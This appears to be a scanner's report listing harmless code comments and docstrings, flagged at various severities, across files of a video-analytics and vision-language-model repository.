| MEDIUM | …ervices/infra/elk/logstash/configs/pipelines-redis.yml | 3 | # This file is provided under Apache-2.0 License. | COMMENT |
| MEDIUM | …ervices/infra/elk/logstash/configs/pipelines-redis.yml | 5 | # This file is where you define your pipelines. You can define multiple. | COMMENT |
| MEDIUM | …ervices/infra/elk/logstash/configs/pipelines-kafka.yml | 3 | # This file is provided under Apache-2.0 License. | COMMENT |
| MEDIUM | …ervices/infra/elk/logstash/configs/pipelines-kafka.yml | 5 | # This file is where you define your pipelines. You can define multiple. | COMMENT |
| MEDIUM | …ocker/services/infra/elk/logstash/configs/logstash.yml | 3 | # This file is provided under Apache-2.0 License. | COMMENT |
| MEDIUM | …ices/infra/elk/elasticsearch/configs/elasticsearch.yml | 3 | # This file is provided under your choice of: (a) the Server Side Public License v1 (SSPLv1); or (b) the GNU Affero Gene | COMMENT |
| MEDIUM | …/services/rtvi/charts/rtvi-cv/files/download-models.sh | 123 | # This function is called through command substitution. Keep NGC's progress and | COMMENT |
| MEDIUM⚡ | libs/vss/core/tests/unit_test/test_sitecustomize.py | 44 | # Create a temporary .env file | COMMENT |
| MEDIUM⚡ | libs/vss/core/tests/unit_test/test_sitecustomize.py | 90 | # Create a temp .env file | COMMENT |
| MEDIUM⚡ | libs/vss/core/tests/unit_test/test_sitecustomize.py | 94 | # Create the pointer file | COMMENT |
| MEDIUM | …ta-utils/spatialai_data_utils/core/cameras/grouping.py | 512 | # Create a local RNG when randomization is enabled. | COMMENT |
| MEDIUM | …a-utils/spatialai_data_utils/core/cameras/filtering.py | 226 | # Create a copy of the object | COMMENT |
| MEDIUM | …a-utils/spatialai_data_utils/core/cameras/filtering.py | 295 | # Create a filtered copy of calibration data | COMMENT |
| MEDIUM | …ata-utils/spatialai_data_utils/core/cameras/polygon.py | 179 | # Create a list of heights to check | COMMENT |
| MEDIUM | …ai-data-utils/spatialai_data_utils/core/cameras/bev.py | 325 | # Create a dedicated subfolder for visualization files | COMMENT |
| MEDIUM | …ai-data-utils/spatialai_data_utils/core/cameras/bev.py | 713 | # Create a dedicated subfolder for visualization files | COMMENT |
| MEDIUM | …ai-data-utils/spatialai_data_utils/core/cameras/bev.py | 1072 | # Create a dedicated subfolder for visualization files | COMMENT |
| MEDIUM | …data-utils/spatialai_data_utils/core/cameras/origin.py | 399 | # Create a temporary dict mapping sensor index to sensor data | COMMENT |
| MEDIUM | …alai_data_utils/converters/nusc_results_to_nvschema.py | 80 | # Create a separate output for each BEV group | COMMENT |
| MEDIUM | …ata_utils/eval/tracking/hota/datasets/_base_dataset.py | 442 | # Define the local corners of a "unit" box with the correct corner ordering: | COMMENT |
| MEDIUM | …-data-utils/tests/core/cameras/test_camera_grouping.py | 1493 | # Create a known group | COMMENT |
| MEDIUM⚡ | …tialai-data-utils/tests/utils/test_filesystem_utils.py | 28 | # Create a path with allowed characters | COMMENT |
| MEDIUM | .github/osrb/test_osrb_scan.py | 1064 | lock = b'''# This file is generated by running "yarn install" | STRING |
| MEDIUM | …king/vss-benchmark-video-summarization/scripts/base.py | 810 | # Create a unique label for each test case and metric combination | COMMENT |
| MEDIUM | services/ui/create-third-party-deps-tar.sh | 5 | # Create a timestamped tarball of 3rd-party npm dependency *source* for packages whose | COMMENT |
| MEDIUM | services/rtvi/rt-embed/src/server/rtvi_embed_server.py | 2137 | # Create the response json | COMMENT |
| MEDIUM | services/rtvi/rt-embed/src/server/rtvi_embed_server.py | 2188 | # Create the response json | COMMENT |
| MEDIUM | …rvices/rtvi/rt-embed/src/server/rtvi_stream_handler.py | 2968 | # Create a lookup dictionary for saved responses by chunk index | COMMENT |
| MEDIUM | …rvices/rtvi/rt-embed/src/server/rtvi_stream_handler.py | 3067 | # Create a RequestInfo object and populate it | COMMENT |
| MEDIUM | …rvices/rtvi/rt-embed/src/server/rtvi_stream_handler.py | 3165 | # Create a RequestInfo object and populate it for VLM captions | COMMENT |
| MEDIUM | services/rtvi/rt-embed/src/utils/file_splitter.py | 237 | # Create the Gstreamer pipeline | COMMENT |
| MEDIUM | …rtvi/rt-embed/src/vlm_pipeline/ngc_model_downloader.py | 60 | # Create a NGC client and authenticate with NGC | COMMENT |
| MEDIUM⚡ | …i/rt-embed/src/vlm_pipeline/video_file_frame_getter.py | 3074 | # Create a flag to track completion | COMMENT |
| MEDIUM | …i/rt-embed/src/vlm_pipeline/video_file_frame_getter.py | 1752 | # Create a tee to split the video stream | COMMENT |
| MEDIUM | services/rtvi/rt-embed/src/vlm_pipeline/vlm_pipeline.py | 1559 | # Create the ASR processes | COMMENT |
| MEDIUM | services/rtvi/rt-embed/src/vlm_pipeline/vlm_pipeline.py | 1607 | # Create the VLM processes, one on each GPU | COMMENT |
| MEDIUM | services/rtvi/rt-embed/src/vlm_pipeline/vlm_pipeline.py | 1647 | # Create the chunk decoding processes, one on each GPU | COMMENT |
| MEDIUM | services/rtvi/rt-embed/src/vlm_pipeline/vlm_pipeline.py | 1667 | # Create a thread to gather chunks processed by the VLM pipeline | COMMENT |
| MEDIUM | …tches/evs_vllm_public_files/v1/core/sched/scheduler.py | 245 | # Create the KV cache manager. | COMMENT |
| MEDIUM | …/patches/evs_vllm_public_files/v1/worker/gpu_worker.py | 789 | # Create the profiler wrapper only on the first start call | COMMENT |
| MEDIUM | …m/patches/evs_vllm_public_files/v1/engine/async_llm.py | 228 | # Create the LLMEngine. | COMMENT |
| MEDIUM | …m/patches/evs_vllm_public_files/v1/engine/async_llm.py | 253 | # Create the engine configs. | COMMENT |
| MEDIUM | …m/patches/evs_vllm_public_files/v1/engine/async_llm.py | 257 | # Create the AsyncLLM. | COMMENT |
| MEDIUM | …m/patches/evs_vllm_public_files/v1/engine/async_llm.py | 396 | # Create a new output collector for the request. | COMMENT |
| MEDIUM | …evs_vllm_public_files/entrypoints/openai/api_server.py | 121 | # Create the EngineConfig (determines if we can use V1). | COMMENT |
| MEDIUM | services/rtvi/rt-vlm/tests/test_nim_endpoints.sh | 137 | # Create a test JSON file for image_url | COMMENT |
| MEDIUM | services/rtvi/rt-vlm/tests/test_nim_endpoints.sh | 211 | # Create a test JSON file for video_url | COMMENT |
| MEDIUM | …es/rtvi/rt-vlm/tests/test_turn_by_turn_conversation.py | 39 | # Create a multi-turn conversation | COMMENT |
| MEDIUM | services/rtvi/rt-vlm/tests/rtvi_vlm/conftest.py | 79 | # Create a mock pipeline instance | COMMENT |
| MEDIUM | services/rtvi/rt-vlm/tests/rtvi_vlm/conftest.py | 81 | # Create a mock VlmModelInfo object | COMMENT |
| MEDIUM | …ces/rtvi/rt-vlm/tests/rtvi_vlm/test_rtvi_vlm_server.py | 281 | # Create a mock VlmModelInfo object | COMMENT |
| MEDIUM | services/rtvi/rt-vlm/perf/benchmark/config.yaml | 19 | # This file defines test scenarios for the RTVI performance test harness | COMMENT |
| MEDIUM | services/rtvi/rt-vlm/perf/benchmark/base.py | 1637 | # Create a unique label for each test case and metric combination | COMMENT |
| MEDIUM | …es/rtvi/rt-vlm/src/server/alert_verification_server.py | 938 | # Create the response json | COMMENT |
| MEDIUM | …es/rtvi/rt-vlm/src/server/alert_verification_server.py | 973 | # Create the response json | COMMENT |
| MEDIUM | services/rtvi/rt-vlm/src/server/rtvi_stream_handler.py | 3379 | # Create a lookup dictionary for saved responses by chunk index | COMMENT |
| 144 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | tools/message-broker-consumers/base_consumer.py | 217 | # Check if msg_id should be added (skip special markers like '__kafka_error__') | COMMENT |
| LOW | …postprocessing/data_conversion/convert_ground_truth.py | 1024 | # Check if all subfolders have the same frame count | COMMENT |
| LOW | …postprocessing/data_conversion/convert_ground_truth.py | 1269 | # Check if all corners are within reasonable bounds | COMMENT |
| LOW | …postprocessing/data_conversion/convert_ground_truth.py | 1586 | # Set this to True to enable renaming the annotation format, or False to use the default | COMMENT |
| LOW | …postprocessing/data_conversion/convert_ground_truth.py | 1607 | # Check if root_directory exists | COMMENT |
| LOW | …data_conversion/convert_images_to_videos_no_bframes.sh | 18 | # Check if a directory argument was provided | COMMENT |
| LOW | …data_conversion/convert_images_to_videos_no_bframes.sh | 27 | # Check if the specified directory exists | COMMENT |
| LOW | …data_conversion/convert_images_to_videos_no_bframes.sh | 74 | # Check if we have reached the maximum number of concurrent jobs | COMMENT |
| LOW | …cessing/data_sanity_check/dataset_sanity_check_json.py | 82 | # Check if the frame exists | COMMENT |
| LOW | …cessing/data_sanity_check/dataset_sanity_check_json.py | 87 | # Check if the frame is readable | COMMENT |
| LOW | …ocessing/data_sanity_check/dataset_sanity_check_png.py | 69 | # Check if the frame exists | COMMENT |
| LOW | …ocessing/data_sanity_check/dataset_sanity_check_png.py | 74 | # Check if the frame is readable | COMMENT |
| LOW | …ta_sanity_check/dataset_sanity_check_bbox_direction.py | 120 | # Check if all corners are within reasonable bounds | COMMENT |
| LOW | …ta_sanity_check/dataset_sanity_check_bbox_direction.py | 803 | #Check if the data exists nan | COMMENT |
| LOW | …ocessing/data_sanity_check/dataset_sanity_check_rgb.py | 69 | # Check if the frame exists | COMMENT |
| LOW | …ocessing/data_sanity_check/dataset_sanity_check_rgb.py | 74 | # Check if the frame is readable | COMMENT |
| LOW⚡ | …_sanity_check/dataset_sanity_check_instance_id_json.py | 72 | # Check if the frame exists | COMMENT |
| LOW⚡ | …_sanity_check/dataset_sanity_check_instance_id_json.py | 77 | # Check if the frame is readable | COMMENT |
| LOW | …ssing/data_sanity_check/dataset_sanity_check_videos.sh | 18 | # Check if a directory argument was provided | COMMENT |
| LOW | …ssing/data_sanity_check/dataset_sanity_check_videos.sh | 27 | # Check if the specified directory exists | COMMENT |
| LOW | …a_sanity_check/dataset_sanity_check_instance_id_png.py | 69 | # Check if the frame exists | COMMENT |
| LOW | …a_sanity_check/dataset_sanity_check_instance_id_png.py | 74 | # Check if the frame is readable | COMMENT |
| LOW⚡ | …ocessing/data_sanity_check/dataset_sanity_check_npy.py | 80 | # Check if the frame exists | COMMENT |
| LOW⚡ | …ocessing/data_sanity_check/dataset_sanity_check_npy.py | 85 | # Check if the frame is readable | COMMENT |
| LOW | …files/dev-profile-base/eval/eval_output_json_to_csv.sh | 66 | # Check if jq is available | COMMENT |
| LOW | deploy/docker/scripts/dev-profile.sh | 1695 | # Check if source .env exists | COMMENT |
| LOW | deploy/docker/scripts/dev-profile.sh | 1701 | # Check if overrides.env exists | COMMENT |
| LOW | …rvices/infra/kafka/init-scripts/create-kafka-topics.sh | 56 | #Check if Kafka is Up & Running | COMMENT |
| LOW | …services/vios/charts/vios-streamprocessing/values.yaml | 165 | # Set true to use FFmpeg software encode/decode instead of GPU hardware path. | COMMENT |
| LOW | …dation_and_evaluation/run_validation_and_evaluation.py | 245 | # Check if mdx-bev only validation is requested | COMMENT |
| LOW⚡ | …ls/tools/camera_grouping/batch_create_camera_groups.sh | 618 | # Check if data directory exists | COMMENT |
| LOW | …ytics/spatialai-data-utils/docker/generate_metadata.sh | 19 | # Check if a JSON file is provided as an argument | COMMENT |
| LOW | …-utils/spatialai_data_utils/core/cameras/clustering.py | 334 | # Check if camera matrices were extracted successfully | COMMENT |
| LOW | …-utils/spatialai_data_utils/core/cameras/clustering.py | 991 | # Check if current membership meets thresholds | COMMENT |
| LOW | …-utils/spatialai_data_utils/core/cameras/clustering.py | 1549 | # Check if camera matrices were extracted successfully | COMMENT |
| LOW | …ta-utils/spatialai_data_utils/core/cameras/grouping.py | 658 | # Check if this group is a duplicate of an existing group | COMMENT |
| LOW⚡ | …a-utils/spatialai_data_utils/core/cameras/filtering.py | 125 | # Check if sensor exists in the set | COMMENT |
| LOW | …a-utils/spatialai_data_utils/core/cameras/filtering.py | 152 | # Check if file exists | COMMENT |
| LOW | …a-utils/spatialai_data_utils/core/cameras/filtering.py | 184 | # Check if file exists | COMMENT |
| LOW | …ata-utils/spatialai_data_utils/core/cameras/polygon.py | 782 | # Check if sensor already has a fieldOfViewPolygon attribute | COMMENT |
| LOW | …ai-data-utils/spatialai_data_utils/core/cameras/bev.py | 180 | # Check if all sensors have group information | COMMENT |
| LOW | …data-utils/spatialai_data_utils/core/cameras/origin.py | 414 | # Check if attributes is a list (array of name-value pairs) | COMMENT |
| LOW | …data-utils/spatialai_data_utils/core/cameras/origin.py | 436 | # Check if attributes is a dict | COMMENT |
| LOW | …ploy-detection-tracking-2d/scripts/run_app_and_wait.sh | 187 | # Check if app died | COMMENT |
| LOW | …y-detection-tracking-2d/scripts/calibration_manager.py | 38 | # Check if calibration covers batch size 6 | STRING |
| LOW | …enchmark-video-summarization/scripts/media-server.yaml | 5 | # Set VSS_BENCHMARK_DATA_DIR to the directory containing your test videos (mp4 files). | COMMENT |
| LOW | …king/vss-benchmark-video-summarization/scripts/base.py | 786 | # Check if this is file burst mode by looking for benchmark_mode column and concurrency_level data | COMMENT |
| LOW | services/rtvi/rt-embed/tests/tests_common.py | 248 | # Check if the files exist | COMMENT |
| LOW⚡ | …bed/tests/rtvi_embed/test_rtvi_embed_stream_handler.py | 353 | # Check if text embeddings method exists | COMMENT |
| LOW | services/rtvi/rt-embed/src/server/rtvi_embed_server.py | 1125 | # Check if the RTSP URL contains valid video | COMMENT |
| LOW | services/rtvi/rt-embed/src/server/rtvi_embed_server.py | 1659 | # Check if inference is active | COMMENT |
| LOW | services/rtvi/rt-embed/src/server/rtvi_embed_server.py | 1904 | # Check if asset exists with same url throw error | COMMENT |
| LOW | services/rtvi/rt-embed/src/server/rtvi_embed_server.py | 1997 | # Check if user has specified the model that is initialized | COMMENT |
| LOW | services/rtvi/rt-embed/src/server/rtvi_embed_server.py | 2028 | # Check if summarization is already running / already completed. | COMMENT |
| LOW | …rvices/rtvi/rt-embed/src/server/rtvi_stream_handler.py | 3814 | # Check if the response contains an error | COMMENT |
| LOW⚡ | services/rtvi/rt-embed/src/utils/asset_manager.py | 1216 | # Check if writing the current chunk will cross threshold | COMMENT |
| LOW⚡ | services/rtvi/rt-embed/src/utils/asset_manager.py | 1226 | # Check if writing the current chunk will cross max size | COMMENT |
| LOW | services/rtvi/rt-embed/src/utils/otel_helper.py | 68 | # Check if OTEL monitoring is enabled (standard variable) | COMMENT |
| LOW | services/rtvi/rt-embed/src/utils/file_splitter.py | 207 | # Check if this is the last chunk (end of file reached, | COMMENT |
| LOW | …-embed/src/models/openai_compat/openai_compat_model.py | 692 | # Check if bytes are JPEG (magic: 0xFF 0xD8) or raw pixels | COMMENT |
| 203 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | …y/helm/developer-profiles/dev-profile-search/README.md | 156 | ## Step 1: Volume provisioner (bare metal, optional) | COMMENT |
| LOW | …y/helm/developer-profiles/dev-profile-search/README.md | 178 | ## Step 2: Install Ingress Controller (HAProxy) | COMMENT |
| LOW | …y/helm/developer-profiles/dev-profile-search/README.md | 212 | ## Step 3: Deploy the Search Profile | COMMENT |
| LOW⚡ | …ls/tools/camera_grouping/batch_create_camera_groups.sh | 624 | # Step 1: Collect all scenes | COMMENT |
| LOW⚡ | …ls/tools/camera_grouping/batch_create_camera_groups.sh | 633 | # Step 2: Display all scenes | COMMENT |
| LOW⚡ | …ls/tools/camera_grouping/batch_create_camera_groups.sh | 636 | # Step 3: Set global parameters | COMMENT |
| LOW⚡ | …ls/tools/camera_grouping/batch_create_camera_groups.sh | 639 | # Step 4: Select scenes | COMMENT |
| LOW⚡ | …ls/tools/camera_grouping/batch_create_camera_groups.sh | 642 | # Step 5: Display selected scenes with parameters | COMMENT |
| LOW⚡ | …ls/tools/camera_grouping/batch_create_camera_groups.sh | 650 | # Step 6: Confirm and process | COMMENT |
| LOW⚡ | …ls/tools/camera_grouping/batch_create_camera_groups.sh | 658 | # Step 7: Process all scenes | COMMENT |
| LOW | …utils/spatialai_data_utils/visualization/draw_utils.py | 167 | # Step 1: paint the (possibly translucent) background rectangle. | COMMENT |
| LOW | …utils/spatialai_data_utils/visualization/draw_utils.py | 182 | # Step 2: draw text on top of the (already-blended) rectangle. Text | COMMENT |
| LOW⚡ | …utils/spatialai_data_utils/eval/tracking/aic24_eval.py | 173 | # Step 1: Accumulate metric data for all classes and distance thresholds. | COMMENT |
| LOW⚡ | …utils/spatialai_data_utils/eval/tracking/aic24_eval.py | 200 | # Step 2: Aggregate metrics from the metric data. | COMMENT |
| LOW | .openclaw/workspace/BOOTSTRAP.md | 11 | ## Step 1: Auto-Detect the Environment | COMMENT |
| LOW | .openclaw/workspace/BOOTSTRAP.md | 71 | ## Step 3: Run Prerequisite Checks | COMMENT |
| LOW | .openclaw/workspace/BOOTSTRAP.md | 77 | ## Step 4: Save Config to TOOLS.md | COMMENT |
| LOW | .openclaw/workspace/BOOTSTRAP.md | 92 | ## Step 5: Offer Next Steps | COMMENT |
| LOW | .openclaw/workspace/_nemoclaw/BOOTSTRAP.md | 26 | ## Step 1: Run AGENTS.md "Every Session", then verify reachability | COMMENT |
| LOW | .openclaw/workspace/_nemoclaw/BOOTSTRAP.md | 35 | ## Step 2: Confirm the MCP server | COMMENT |
| LOW | .openclaw/workspace/_nemoclaw/BOOTSTRAP.md | 47 | ## Step 3: Offer Next Steps | COMMENT |
| LOW | .github/vss-playbook-compliance/post_comment.py | 132 | return "### Step 1 - playbook compliance\n\n_Step did not run or no JSON output captured._\n" | CODE |
| LOW | .github/vss-playbook-compliance/post_comment.py | 143 | out = ["### Step 1 - playbook compliance", "", f"{status} - {summary}", ""] | CODE |
| LOW | …ibration/references/deploy-auto-calibration-service.md | 45 | ### Step 0: Platform Preflight | COMMENT |
| LOW | …ibration/references/deploy-auto-calibration-service.md | 114 | ### Step 1: NGC login | COMMENT |
| LOW | …ibration/references/deploy-auto-calibration-service.md | 131 | ### Step 2: Stage the VGGT model when required | COMMENT |
| LOW | …ibration/references/deploy-auto-calibration-service.md | 226 | ### Step 3: Select the auto-calibration service list and deploy | COMMENT |
| LOW | …ibration/references/deploy-auto-calibration-service.md | 295 | ### Step 4: Verify | COMMENT |
| LOW | …ibration/references/deploy-auto-calibration-service.md | 329 | ### Step 5: Confirm the projects directory is writable | COMMENT |
| LOW | …ills/operations/vss-generate-video-report-rag/SKILL.md | 34 | ### Step 1: Configure the generated env file | COMMENT |
| LOW⚡ | …ills/operations/vss-generate-video-report-rag/SKILL.md | 56 | ### Step 2: Log in to NGC registry | COMMENT |
| LOW⚡ | …ills/operations/vss-generate-video-report-rag/SKILL.md | 66 | ### Step 3: Deploy the LVS profile with the RAG config | COMMENT |
| LOW | …ills/operations/vss-generate-video-report-rag/SKILL.md | 106 | ### Step 4: Verify deployment | COMMENT |
| LOW | …ills/operations/vss-generate-video-report-rag/SKILL.md | 141 | ### Step 1: List available videos | COMMENT |
| LOW | …ills/operations/vss-generate-video-report-rag/SKILL.md | 152 | ### Step 2: Collect parameters from the user | COMMENT |
| LOW | …ills/operations/vss-generate-video-report-rag/SKILL.md | 171 | ### Step 3: Start the report (HTTP HITL) | COMMENT |
| LOW | …ills/operations/vss-generate-video-report-rag/SKILL.md | 188 | ### Step 4: Respond to HITL prompts | COMMENT |
| LOW | …ills/operations/vss-generate-video-report-rag/SKILL.md | 214 | ### Step 5: Wait for completion | COMMENT |
| LOW | …ills/operations/vss-generate-video-report-rag/SKILL.md | 225 | ### Step 6: Present the results | COMMENT |
| LOW | …enchmarking/vss-benchmark-video-summarization/SKILL.md | 111 | ## Step 0: Pre-flight Check | COMMENT |
| LOW | …enchmarking/vss-benchmark-video-summarization/SKILL.md | 173 | ## Step 1: Download Test Videos | COMMENT |
| LOW | …enchmarking/vss-benchmark-video-summarization/SKILL.md | 192 | ## Step 2: Generate Test Clips (if needed) | COMMENT |
| LOW | …enchmarking/vss-benchmark-video-summarization/SKILL.md | 221 | ## Step 3: Start Media Server | COMMENT |
| LOW | …enchmarking/vss-benchmark-video-summarization/SKILL.md | 245 | ## Step 4: Configure | COMMENT |
| LOW | …enchmarking/vss-benchmark-video-summarization/SKILL.md | 263 | ## Step 5: Run Benchmark | COMMENT |
| LOW | …enchmarking/vss-benchmark-video-summarization/SKILL.md | 301 | ## Step 6: Analyze Results | COMMENT |
| LOW | …enchmarking/vss-benchmark-video-summarization/SKILL.md | 338 | ## Step 7: Suggest Improvements | COMMENT |
| LOW⚡ | …benchmark-video-summarization/scripts/run_benchmark.sh | 67 | # Step 1: Pre-flight checks | COMMENT |
| LOW⚡ | …benchmark-video-summarization/scripts/run_benchmark.sh | 79 | # Step 2: Start media server if not already running | COMMENT |
| LOW⚡ | …benchmark-video-summarization/scripts/run_benchmark.sh | 101 | # Step 3: Create Python venv if it doesn't exist | COMMENT |
| LOW⚡ | …benchmark-video-summarization/scripts/run_benchmark.sh | 115 | # Step 4: Install requirements if venv is new | COMMENT |
| LOW⚡ | …benchmark-video-summarization/scripts/run_benchmark.sh | 123 | # Step 5: Run the benchmark | COMMENT |
| LOW⚡ | …ed/src/models/vllm_compatible/vllm_compatible_model.py | 1160 | # Step 1: Strip leading/trailing whitespace | COMMENT |
| LOW⚡ | …ed/src/models/vllm_compatible/vllm_compatible_model.py | 1162 | # Step 2: Extract reasoning description | COMMENT |
| LOW⚡ | …ed/src/models/vllm_compatible/vllm_compatible_model.py | 1170 | # Step 3: Remove complete <think>...</think> block if found, otherwise handle orphan tags | COMMENT |
| LOW⚡ | …ed/src/models/vllm_compatible/vllm_compatible_model.py | 1178 | # Step 4: Remove <answer>, </answer>, <summary>, and </summary> tags, but keep their content | COMMENT |
| LOW⚡ | …ed/src/models/vllm_compatible/vllm_compatible_model.py | 1181 | # Step 4: Final cleanup (strip whitespace) | COMMENT |
| LOW | …vi_vlm/patches/evs_vllm_public_files/v1/engine/core.py | 379 | # NOTE: This method is exception-free | COMMENT |
| LOW⚡ | …public_files/model_executor/models/nano_nemotron_vl.py | 578 | # Step 2: Check if total tokens is within budget | COMMENT |
| LOW⚡ | …public_files/model_executor/models/nano_nemotron_vl.py | 585 | # Step 3: We're over budget, need to scale down | COMMENT |
| 162 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| HIGH | …ols/sdg-postprocessing/utils/export_xform_semantics.py | 131 | Resolve the output path using priority: user argument > USER_OUTPUT_PATH. If the resolved path is a directory ( | STRING |
| HIGH | deploy/docker/scripts/orchestrator_mcp_helper.py | 303 | Ensure MCP TLS cert/key exist; generate a self-signed pair only if both are missing. An existing pair is reused as- | STRING |
| HIGH | …king/vss-benchmark-video-summarization/scripts/base.py | 135 | Parse and validate benchmark-specific configuration. Args: scenario_config: Scenario-speci | STRING |
| HIGH | …king/vss-benchmark-video-summarization/scripts/base.py | 152 | Execute the benchmark and return results metadata. Args: config: Full configuration dictio | STRING |
| HIGH | …king/vss-benchmark-video-summarization/scripts/base.py | 207 | Parse and validate global configuration. Args: config: Full configuration dictionary | STRING |
| HIGH | …king/vss-benchmark-video-summarization/scripts/base.py | 264 | Load and parse YAML configuration file. Args: config_path: Path to YAML configuration file | STRING |
| HIGH | …king/vss-benchmark-video-summarization/scripts/base.py | 419 | Make an API call to the VSS backend. Args: endpoint: API endpoint (will be appended to bas | STRING |
| HIGH | services/rtvi/rt-embed/src/utils/asset_manager.py | 1297 | Decode an RFC 2397 data: URI and register the result as an asset. Args: data_url: A data: URI of th | STRING |
| HIGH | services/rtvi/rt-embed/src/utils/otel_helper.py | 42 | Initialize OpenTelemetry if enabled and available. The SDK automatically reads and configures itself from standard | STRING |
| HIGH | services/rtvi/rt-embed/src/models/base_vlm_model.py | 163 | Generate a text-only response (no multimodal input). Args: messages: List of message dicts with 'ro | STRING |
| HIGH | services/rtvi/rt-embed/src/models/base_vlm_model.py | 183 | Async generator that yields text deltas for token-level streaming. Args: messages: List of message | STRING |
| HIGH | services/rtvi/rt-vlm/tests/rtsp_stream_helper.py | 98 | Start an RTSP stream from a video file using cvlc. Args: video_file: Path to video file to | STRING |
| HIGH | services/rtvi/rt-vlm/perf/benchmark/base.py | 403 | Parse and validate benchmark-specific configuration. Args: scenario_config: Scenario-speci | STRING |
| HIGH | services/rtvi/rt-vlm/perf/benchmark/base.py | 420 | Execute the benchmark and return results metadata. Args: config: Full configuration dictio | STRING |
| HIGH | services/rtvi/rt-vlm/perf/benchmark/base.py | 769 | Parse and validate global configuration. Args: config: Full configuration dictionary | STRING |
| HIGH | services/rtvi/rt-vlm/perf/benchmark/base.py | 924 | Load and parse YAML configuration file. Args: config_path: Path to YAML configuration file | STRING |
| HIGH | services/rtvi/rt-vlm/perf/benchmark/base.py | 1211 | Make an API call to the RTVI backend. Args: endpoint: API endpoint (will be appended to ba | STRING |
| HIGH | services/rtvi/rt-vlm/src/utils/asset_manager.py | 1310 | Decode an RFC 2397 data: URI and register the result as an asset. Args: data_url: A data: URI of th | STRING |
| HIGH | services/rtvi/rt-vlm/src/utils/otel_helper.py | 42 | Initialize OpenTelemetry if enabled and available. The SDK automatically reads and configures itself from standard | STRING |
| HIGH | services/rtvi/rt-vlm/src/models/base_vlm_model.py | 165 | Generate a text-only response (no multimodal input). Args: messages: List of message dicts with 'ro | STRING |
| HIGH | services/rtvi/rt-vlm/src/models/base_vlm_model.py | 185 | Async generator that yields text deltas for token-level streaming. Args: messages: List of message | STRING |
| HIGH | …embedding_generation/secondary_embedding_generation.py | 440 | Read a video frame from VIOS/stream id and crop the object patch get the embedding from the patch and p | STRING |
| HIGH | …tor/app/profile_configurator/profile_config_manager.py | 223 | Load profile configurations from YAML file. Args: config_file: Optional path to co | STRING |
| HIGH | …ofile_configurator/profile_configurator_utils/utils.py | 49 | Read and parse a YAML file. Args: file_path: Path to the YAML file Returns: D | STRING |
| HIGH | …ofile_configurator/profile_configurator_utils/utils.py | 106 | Read a text file and return its contents. Args: file_path: Path to the text file Retu | STRING |
| HIGH | …ofile_configurator/profile_configurator_utils/utils.py | 162 | Read and parse a JSON file. Args: file_path: Path to the JSON file Returns: D | STRING |
| HIGH | …s/vss-configurator/app/utils/message_broker_factory.py | 30 | Create a message broker instance based on the specified type. Args: broker_type (s | STRING |
| HIGH | services/configurators/vss-rt-config-adaptor/app/app.py | 59 | Read and parse a YAML file. Args: file_path: Path to the YAML file Returns: Dictionary co | STRING |
| HIGH | …ios/test/bdd_tests/tests/unit_tests/unit_test_utils.py | 160 | Validate that a response contains valid JSON and return it. Args: response: requests.Response object | STRING |
| HIGH | services/alert/src/mdx/event_bridge_factory.py | 30 | Create a source instance based on configuration Args: config: Configuration dictio | STRING |
| HIGH | services/alert/src/mdx/event_bridge_factory.py | 60 | Create a sink instance based on configuration Args: config: Configuration dictiona | STRING |
| HIGH | …vices/alert/src/custom_parsers/vehicle_count_parser.py | 52 | Parse JSON VLM response containing vehicle counts. Extracts ``vehicle_counts`` and ``reasoning`` from the response | STRING |
| HIGH | services/alert/src/custom_parsers/xml_verdict_parser.py | 62 | Parse XML-formatted VLM response with <result>/<verdict>/<reasoning> tags. Handles both tag orderings (verdict-firs | STRING |
| HIGH | services/alert/src/schemas/vlm_responses.py | 158 | Parse VLM response based on *response_format* (or auto-detected model type). Supported formats: - ``"au | STRING |
| HIGH | services/alert/src/schemas/vlm_responses.py | 315 | Parse JSON-formatted VLM response with configurable field mapping. Handles markdown code fences (```json ... `` | STRING |
| HIGH | services/alert/src/schemas/sampling_entity.py | 37 | Create a SamplingEntity instance from a dictionary Args: data: Dictionary containi | STRING |
| HIGH | services/alert/src/schemas/base_response_parser.py | 89 | Resolve a dotted Python path to a parser instance. The *dotted_path* must point to a class (not a function or modul | STRING |
| HIGH | services/alert/src/schemas/request_entity/validator.py | 54 | Validate and build entities from raw Alert request messages. Args: raw_messages: L | STRING |
| HIGH | services/alert/src/schemas/request_entity/validator.py | 121 | Validate a single alert message using Pydantic. Args: message: Raw alert message d | STRING |
| HIGH | services/alert/src/schemas/request_entity/builder.py | 46 | Build alert entities from a list of raw JSON messages. This is the primary method for alert en | STRING |
| HIGH | services/alert/src/schemas/request_entity/builder.py | 79 | Build a single alert entity from a JSON message. Args: message: Raw JSON alert mes | STRING |
| HIGH | services/alert/src/schemas/request_entity/builder.py | 103 | Build alert entities from JSON string representations. Args: json_strings: List of | STRING |
| HIGH | …/alert/src/schemas/request_entity/models/parameters.py | 132 | Create VLMParams with defaults from external configuration. Args: **overrides: Fie | STRING |
| HIGH | …/alert/src/schemas/request_entity/models/parameters.py | 176 | Create EventParameters with defaults from external configuration. Args: **override | STRING |
| HIGH | services/alert/src/vlm/vlm_client.py | 331 | Download media from URL, base64-encode, and send to VLM. Use this when VLM endpoint cannot fet | STRING |
| HIGH | services/alert/src/persistence/factory.py | 32 | Build a PersistenceStore from application config. Returns ``None`` only when persistence is explicitly disabled | STRING |
| HIGH | services/alert/src/persistence/base.py | 45 | Store a new document. Args: collection: Logical collection / index name. doc_id: Unique | STRING |
| HIGH | …es/vss_agents/src/vss_agents/tools/attribute_search.py | 63 | Resolve the ES index(es) to query for the given ``source_type``. Uploaded ``video_file`` content lives in a single | STRING |
| HIGH | …es/vss_agents/src/vss_agents/tools/attribute_search.py | 481 | Fetch an object's embedding vector from the behavior index by object_id. Retrieves the most recent behavior embeddi | STRING |
| HIGH | …ent/packages/vss_agents/src/vss_agents/tools/search.py | 276 | Decompose a natural language query into structured search parameters using an LLM. Args: user_query: T | STRING |
| HIGH | …ckages/vss_agents/src/vss_agents/tools/vst/timeline.py | 70 | Get the start and end timestamps for a video from VST API. This function: 1. Calls VST streams API to find | STRING |
| HIGH | …/packages/vss_agents/src/vss_agents/tools/vst/utils.py | 120 | Get the sensor ID (camera name) for a given stream ID (UUID). This is the reverse mapping of get_stream_id - takes | STRING |
